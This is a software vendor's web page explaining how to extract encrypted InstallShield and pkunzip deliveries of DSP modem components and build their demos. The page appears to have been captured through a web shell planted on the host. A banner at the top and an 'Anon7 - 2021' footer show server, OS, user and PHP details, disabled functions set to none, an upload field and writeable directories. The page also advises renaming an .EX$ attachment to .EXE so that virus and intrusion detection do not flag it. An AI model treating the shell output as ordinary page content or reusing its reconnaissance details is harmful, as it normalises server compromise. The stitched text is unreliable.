KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/peterbmiller/MESiWeb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/peterbmiller/MESiWeb/deliver.htm
<html>

<head>
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
<title>Delivery zipfile extraction</title>
</head>

<body>

<table border="1" cellspacing="1" width="100%">
  <tr>
    <td width="69%"><p align="center"><small><small><font face="Arial"><a href="corporate.htm">Corporate</a>
    � <a href="index.html">Home</a> � <a href="license.htm">License</a> � <a
    href="memory.htm">Memory</a> � <a href="mips.htm">MIPs</a> � <a href="perform.htm">Performance</a>
    � <a href="products.htm">Products</a> � <a href="price.htm">Prices</a></font></small></small></td>
    <td width="31%"><p align="center">
    <img src="images/mesi_logo6.gif"
    alt="Mesi_logo6.gif (2951 bytes)" width="187" height="74"></td>
  </tr>
</table>

<p align="left">MESi software products are packages in an InstallShield<sup><font face="Times New Roman" size="1">�</font></sup> 
self-extracting 
file and available for download from the MESi server, or delivered via an encrypted email attachment with a .EX$ extension. This 
will avoid problems with virus and intrusion detection software that may be 
running on your machine. Follow these simple steps to extract the software 
products:</p>

<ol>
  <li>

<p align="left">Save the delivery file to a temporary location and, if 
necessary, change the 
extension to .EXE either by right-clicking and choose rename, or use the command-line 
&quot;rename&quot; utility. For example, your delivery attachment might be named 
MESI_002.EX$ which you would rename to MESI_002.EXE.</p>

  </li>
  <li>

<p align="left">Execute the InstallShield<sup><font face="Times New Roman" size="1">�</font></sup> 
Wizard by double-clicking the delivery file or by executing it directly in a 
command-line 
window. This will start the extraction process.</p>

  </li>
  <li>

<p align="left">The InstallShield<sup><font face="Times New Roman" size="1">�</font></sup> 
Wizard displays the MESi EULA and prompts for acceptance of the License terms. 
You should read terms of the EULA and proceed only if you agree. Otherwise, 
please return the products to MESi and let us know how we can help with any 
difficulty.</p>

  </li>
  <li>

<p align="left">The InstallShield<sup><font face="Times New Roman" size="1">�</font></sup> 
Wizard then prompts for a password, which is usually supplied by mail, fax, of 
voice form - never in an email. Be sure to enter the password exactly as it is 
case-sensitive. If you do not have a password or have lost your password, please 
contact MESi and we will re-supply it.</p>

  </li>
  <li>

<p align="left">The InstallShield<sup><font face="Times New Roman" size="1">�</font></sup> 
Wizard next prompts for a location to save the files. This is the root directory 
into which the software source and Object products will be placed. The default 
directory name is \MESi but you may wish to change it for convenience.</p>

  </li>
  <li>

<p align="left">Click &quot;Finish&quot; after the InstallShield<sup><font face="Times New Roman" size="1">�</font></sup> 
Wizard has completed the extraction and you're ready to work with the products</p>

  </li>
</ol>

<p align="left">Please click on the links below for details on Component, LRDM, 
and Legacy product deliveries.</p>

<p align="left">[<a href="#Component_Delivery">Components</a>][<a href="#Low_Rate_Data_Modem_System_Delivery">LRDM</a>][<a href="#legacy">Legacy</a>]</p>

<hr>

<p align="left"><font size="5" color="#400080"><a name="Component_Delivery">
Component Delivery</a></font></p>

<p align="left">MESi Components are shipped either in Source code or Object code 
formats for various target devices. C Source files with .c or .h extensions, are 
placed in a <b>csrc</b> directory. Assembly Source files with .asm, .dsp, .s, or 
.inc extensions are placed in a relevant assembly directory. Examples include <b>
c5400</b> for Texas Instruments TMS320C5400 family DSPs, <b>BF53x</b> for Analog 
Devices ADSP-BF53x BlackFin family DSPs, <b>ZSP400</b> for LSI Logic ZSP400 family DSP, etc. 
Object code files with .obj, .doj, or .o extensions are placed in the directory 
that corresponds to the Source code that produced them. Also included in each 
source directory is a test file called &quot;release.txt&quot; which contains a 
chronological listing of all modifications made to any source files. The most 
recent release is at the top of the file, and modifications are numbered and 
dated in chronologically ascending order (i.e. first mod to that release listed 
first)&nbsp; It's always recommended that you to review release.txt upon receipt 
of any software updates to determine if modifications have any impact on your 
use.</p>

<p align="left">Under each source code directory there are usually one or more 
'demo' sub-directories that contain simple demonstration programs to show you 
how the component might be used. For example, a popular application for the 
GenDet component includes generic call progress tone detection for tones such as 
dial tone, ringing, and busy. We've created a simple C source&nbsp; 
demonstration called <b>cptddemo.c</b> and located it under the <b>csrc</b> 
directory in a directory called <b>cptddemo</b>. This demo can then be built in 
that sub-directory under Borlanc C to create a DOS file I/O demo that generates 
sample output and logs status. In addition, the same C source is then used to 
build real-time demos for various commercial DSP target boards, such as the 
Texas Instruments C5402 DSK or the Analog Devices ADSP-21353 EZ-LITE boards. 
These DSP real-time demos are located in corresponding sub-directories located 
under the relevant DSP directory, as shown below:</p>

<p align="center">
<img border="0" src="images/components%20dir.gif" width="111" height="181"></p>

<p align="left">Each component demo subdirectory contains a makefile (makefile 
or *.mak), a command-line options file (*.opt), and a linker command file (*.cmd) 
or linker description file (*.ldf). These files, along with the C source, 
assembly source, or Object code modules in the higher directories, allow you to 
build the demo using the vendor's compiler/assembler/linker tools on the command 
line using Borland's MAKE<sup><font color="#000000">�</font></sup> and Microsoft's NMAKE<font
color="#000000"><sup>� </sup>utility. Alternatively, you can convert the 
makefiles to DOS batch files, or use them to indirectly create IDE projects for 
Texas Instruments Code Composer Studio<sup>�</sup>, Analog Devices VisualDSP<sup>�</sup>, 
etc. You can determine the required path information, symbol definitions (i.e. 
-d assembler/compiler option), and link list from the makefile, options file, 
and linker description/command file.</font></p>

<p align="left"><u><b>BUILDING EXECUTABLE FROM COMMAND-LINE</b></u></p>

<p align="left">The typical command-line procedure to build an executable from C 
or Assembly Source code products is to just run the MAKE utility without any 
arguments, in the demo subdirectory. For example, to build cptddemo for c5400&nbsp; 
DSP you would run :</p>

<p align="left"><font color="#008000">&nbsp;</font><b>&nbsp;&nbsp; 
c:\MESi\components\modems\c5400\cptddemo\make</b></p>

<p align="left">The tools will compile/assemble\link from source files and place 
the executable in the cptddemo subdirectory. If you purchased Object Code 
modules, then specify them on the command-line for Borland and Microsoft as:</p>

<p align="left">&nbsp;&nbsp; <b>&nbsp;<font color="#000000">c:\MESi\components\modems\c5400\cptddemo\make</font> 
-DOBJ</b></p>

<p align="left">&nbsp;<b>&nbsp;&nbsp;
<font color="#000000">c:\MESi\components\modems\c5400\cptddemo\nmake</font> 
OBJ=1</b></p>

<p align="left"><u><b>CONVERTING TO INTEGRATED DEVELOPMENT ENVIRONMENTS</b></u></p>

<p align="left">Most vendors offer an Integrated Development Environment (IDE) 
for their development tools, such as Code Composer Studio<font
color="#000000"><sup>�</sup></font> from Texas Instruments, or VisualDSP<font
color="#000000"><sup>�</sup></font> from Analog Devices. Migrating from 
command-line makefiles to a project under these environments requires a few 
basic steps:</p>

<ol>
  <li>

<p align="left">Create the project in the IDE</p>

  </li>
  <li>

<p align="left">Add the source and/or object files from the MESi delivery 
directories. </p>

  </li>
  <li>

<p align="left">Add the MESi linker description command files. If your tool does 
not permit more than one linker definitions/command file then you will need to 
merge the MESi LDF or CMD files into one.</p>

  </li>
  <li>

<p align="left">Locate and add the MESi compiler/assembler options file with a 
*.opt file name under &quot;compiler additional options&quot;, or &quot;compiler files&quot;, or 
other method for inserting a file in the compiler AND assembler command line. If 
the tool does not support command-line options files (i.e. a @filename or 
-@filename), then you will need to manually transfer the definitions in the 
*.opt file to the appropriate entry for the tool. For example, the &quot;-DDUMP_LEN=10000&quot; 
symbol definition in cptddemo.opt would need to be added as a preprocessor 
definition in VisualDSP<font
color="#000000"><sup>�</sup></font>. </p>

  </li>
  <li>

<p align="left">Add run-time library support as required.</p>

  </li>
  <li>

<p align="left">Build and run from within the IDE.</p>

  </li>
</ol>

<p align="left">It is strongly recommended that you avoid moving MESi Objects or 
Source files from their delivered subdirectories as this can cause name-space 
collisions (i.e. files with the same name but different directories get copied 
over). MESi deliveries use makefiles and relative paths to maintain portability 
and support build automation, and moving the products also makes maintenance 
difficult when receiving updates.</p>

<div style="float: right">

<p align="left">&nbsp;</p>

<p align="center">&nbsp;</p>

<p align="center">&nbsp;</p>

</div>
<div style="float: right">

<p align="center">&nbsp;</p>

</div>
<hr>

<p align="left"><font size="5" color="#400080">
<a name="Low_Rate_Data_Modem_System_Delivery">Low Rate Data Modem System 
Delivery</a></font></p>

<hr>

<p align="left"><font color="#400080"><big><big><a name="legacy">Legacy Delivery Zipfiles</a></big></big></font></p>

<p>MESi software products were delivered in an encrypted, zipfile (*.zip) format
either as an email attachment or on a floppy disk (if requested).&nbsp; The decryption key
is delivered by an alternate means - either by voice, fax, or postal mail - and is unique
to your delivery. This added level of security protects MESi from software theft, but also
protects you from unauthorized access to your technology as well. You can visit&nbsp; <a
href="http://www.pkware.com">http://www.pkware.com</a> to download <font color="#808000">pkunzip</font>
if needed.</p>

<p>When you receive your software (example: <font color="#FF8040">WXYZ_001.zip</font>) and
your decryption key (example <font color="#008000">1234abcD</font>), then the procedure
is:

<ol>
  <li>Open a DOS<sup><font color="#000000">�</font></sup> window</li>
  <li>use <font color="#808000">pkunzip</font> to unzip the delivery zipfile with the -d and
    -s&lt;decryption key&gt; options. For example:<br>
    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c:\pkunzip <font
    color="#FF8040">WXYZ_001</font> <font color="#FF0080">-d</font> <font color="#FF0080">-s</font><font
    color="#008000">1234abcD</font></li>
</ol>

<p>The <font color="#FF0080">-s</font> specifies a decryption key, and <font
color="#008000">1234abcD</font> in the example is the decryption key and it is <font
color="#FF0000">case-sensitive</font>. The <font color="#FF0080">-d</font> causes one or
more subdirectories (such as \CSRC, \TI-C54x, \AD21XX, etc.) to be created, and
non-encrypted zipfiles (such as csrc.zip, c54x.zip, 21xx.zip, etc.) to be placed in them.
&nbsp;&nbsp; </p>

<p>The non-encrypted zipfile always includes a MAKEFILE suitable for use with Borland's
MAKE<sup><font color="#000000">�</font></sup> and Microsoft's NMAKE<sup><font
color="#000000">�</font></sup>. You simply type:</p>

<blockquote>
  <p>c:\make
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <font
  color="#FF8040"> (Borland)</font><br>
  c:\nmake
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <font
  color="#FF8040"> (Microsoft)</font></p>
</blockquote>

<p>For C Source deliveries, this will build vsim.exe under the Borland C Compiler,
bcc.exe. You may need to add egavga.obj to your graphics.lib library by executing the
Borland utilities bgiobj and tlib:

<ol>
  <li>bgiobj egavga
    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <font
    color="#FF8040">(this creates egavga.obj)</font></li>
  <li>tlib graphics.lib +egavga.obj
    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <font
    color="#FF8040">(this adds egavga.obj to your graphics library)</font></li>
</ol>

<p><font color="#000000">For DSP deliveries, there are generally two types of builds
available: a digital loopback demo with no target dependency, and a real-time executable
for specific hardware boards that we support. To avoid confusion with Code Composer<sup>�</sup>
project makefiles, we supply makefiles without the .mak extension:</font>

<ul>
  <li><font color="#400080">vfax </font><font color="#000000">- this will compile, assemble,
    link, and build an executable that sequentially executes the fax modems (v.21, v.27, v.29,
    and v.17) in a digital loopback if the -dDIGITAL_LOOPBACK command line define is present
    for the vfax.c compiler.&nbsp; If -dDIGITAL_LOOPBACK is not present, then vfax will build
    to operate in real time on the target board specified for the c54x.c driver.&nbsp; For
    example, on the Analog Devices 2181 EZ-KIT the modem signals will come from the left
    speaker jack, and you should loop them back into the left mic input.</font></li>
  <li><font color="#400080">vdata</font><font color="#000000"> - this will compile, assemble,
    link, and build an executable that can make real-time v32bis/v22bis CALL or ANSwer mode
    connections with a commercial modem.&nbsp; For boards without a phone line interface,
    you'll need a <a href="QuickAndDirty.htm">Quick-and-Dirty</a> interface and a telephone to dial
    with.</font></li>
  <li><font color="#400080">vdata2</font><font color="#000000"> - this will compile, assemble,
    link, and build an executable that implements both the CALL and ANSwer channels for a
    v32bis or v22bis data connection in digital loopback. This is a very useful tool for
    starters because it shows you every step of the training process for both sides of a
    v32bis or v22bis in a format where you can start and stop without real-time constraints.
    &nbsp; Thus it forms a reference that you can first run to see what the modem signals and
    states are supposed to look like prior to trying to work with real-time signals. In
    addition, the 8 kHz samples produced by </font><font color="#400080">vdata2</font><font
    color="#000000"> are identical to those output from vsim when simulating v32bis or v22bis.</font></li>
</ul>

<p><font color="#000000">The MAKEFILE shipped with DSP deliveries depends on the
components that you selected, and it generally builds a real-time executable similar to </font><font
color="#400080">vdata</font><font color="#000000"> such as &quot;</font><font
color="#400080">v32demo</font><font color="#000000">&quot; or &quot;</font><font
color="#400080">dtmfdemo</font><font color="#000000">&quot;.</font></p>
</body>
</html>

Anon7 - 2021